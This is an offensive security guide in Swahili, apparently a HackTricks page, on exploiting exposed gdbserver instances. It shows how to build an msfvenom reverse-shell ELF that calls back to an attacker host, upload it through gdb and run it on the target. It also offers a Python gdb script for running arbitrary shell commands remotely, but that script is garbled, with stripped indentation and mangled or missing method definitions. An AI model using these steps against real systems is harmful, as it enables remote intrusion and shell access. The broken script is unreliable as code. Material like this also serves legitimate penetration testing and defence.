## **Taarifa za Msingi**

**gdbserver** ni zana inayowezesha urekebishaji wa programu kwa mbali. Inafanya kazi sambamba na programu inayohitaji urekebishaji kwenye mfumo mmoja, inayoitwa "lengo." Mchakato huu unaruhusu **GNU Debugger** kuungana kutoka mashine tofauti, "mwenyeji," ambapo msimbo wa chanzo na nakala ya binary ya programu iliyorekebishwa zimehifadhiwa. Muunganisho kati ya **gdbserver** na mrekebishaji unaweza kufanywa kupitia TCP au laini ya serial, ikiruhusu mipangilio ya urekebishaji yenye kubadilika.

Unaweza kufanya **gdbserver isikilize kwenye bandari yoyote** na kwa sasa **nmap haiwezi kutambua huduma hiyo**.

## Utekelezaji

### Pakia na Tekeleza

Unaweza kwa urahisi kuunda **elf backdoor na msfvenom**, ipakie na uitekeleze:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell
```
### Execute arbitrary commands

Kuna njia nyingine ya **kufanya debugger itekeleze amri zisizo za kawaida kupitia** [**python custom script iliyochukuliwa hapa**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls
```
Kwanza kabisa **unda skripti hii kwa ndani**:

{% code title="remote-cmd.py" %}
```python
#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()
